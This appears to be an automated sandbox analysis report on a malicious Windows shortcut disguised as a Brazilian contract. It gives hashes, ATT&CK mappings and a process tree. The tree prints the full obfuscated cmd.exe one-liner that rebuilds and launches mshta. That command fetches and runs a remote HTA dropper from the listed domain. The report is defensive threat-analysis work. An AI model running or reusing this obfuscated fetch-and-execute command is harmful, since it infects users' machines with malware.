efb0cd139dd0a5d776e2d612e3298580b58ee0c71ef26b0be487059210f35cef

Analysis

max time kernel
150s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:43

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General

Target
Contrato_Indeniza_Brasil-CO4DMF.lnk
Size 2KB
Sample260803-pycsmsy1gz
SHA256 efb0cd139dd0a5d776e2d612e3298580b58ee0c71ef26b0be487059210f35cef
MD5 14371842ce159476fe5a8c3b4ad83f2d
SHA1 bd21f763a7710ef2f1ed171522c59864d98ff8d1
SHA512 305efd2da35c2f830710cacb156090cc0502a560b6403a687f1bc48444123881cd90e435bbfee607bb36d98c74b453d2fcb7af243434da96a49f48d9c33b4a7b
TLSH
T145418F9039FA4498F2FA8E72EDFF274509BBF8655C74C54D0980824D4412B40E677B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2824	mshta.exe
4	2824	mshta.exe
5	2824	mshta.exe
6	2824	mshta.exe
7	2824	mshta.exe
13	2824	mshta.exe
14	2824	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6856	cmd.exe
4624	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 6856 wrote to memory of 4624	6856	cmd.exe	91
PID 4624 wrote to memory of 2824	4624	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-CO4DMF.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:6856
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /v:on /c "set MjL=loghoxvucdbhsdaflog&&set gYXtW=logvetxrttschlog&&set sLkKa=netyanhzlismstxnet&&set UkCu=sysijdvoolslnvugmbjsys&&set Vqc=infupasqinf&&set Qf=dbgskwflxljdsgodbg&&set NMK=2nhmsh4i&&set UCcFI=npyt92t&&set SIniJ=jkiag&&set RON=loggrqshmlxsqwqlemalog&&set VLk=infshoqnxgxayzijpiinf&&set RnN=sysfojitosys&&set RB=ks2stp&&set Jb=0castm&&set cJLrQ=prtod&&set bkwx=h@tt@ps@:/@/agloba@co@[email protected]@m/@h@/esta@[email protected]?r=2@7@1@E6@2@FD4093CD4D6D&&start /b !NMK:~3,3!!UCcFI:~3,1!!SIniJ:~3,1! !bkwx:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4624
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:2824

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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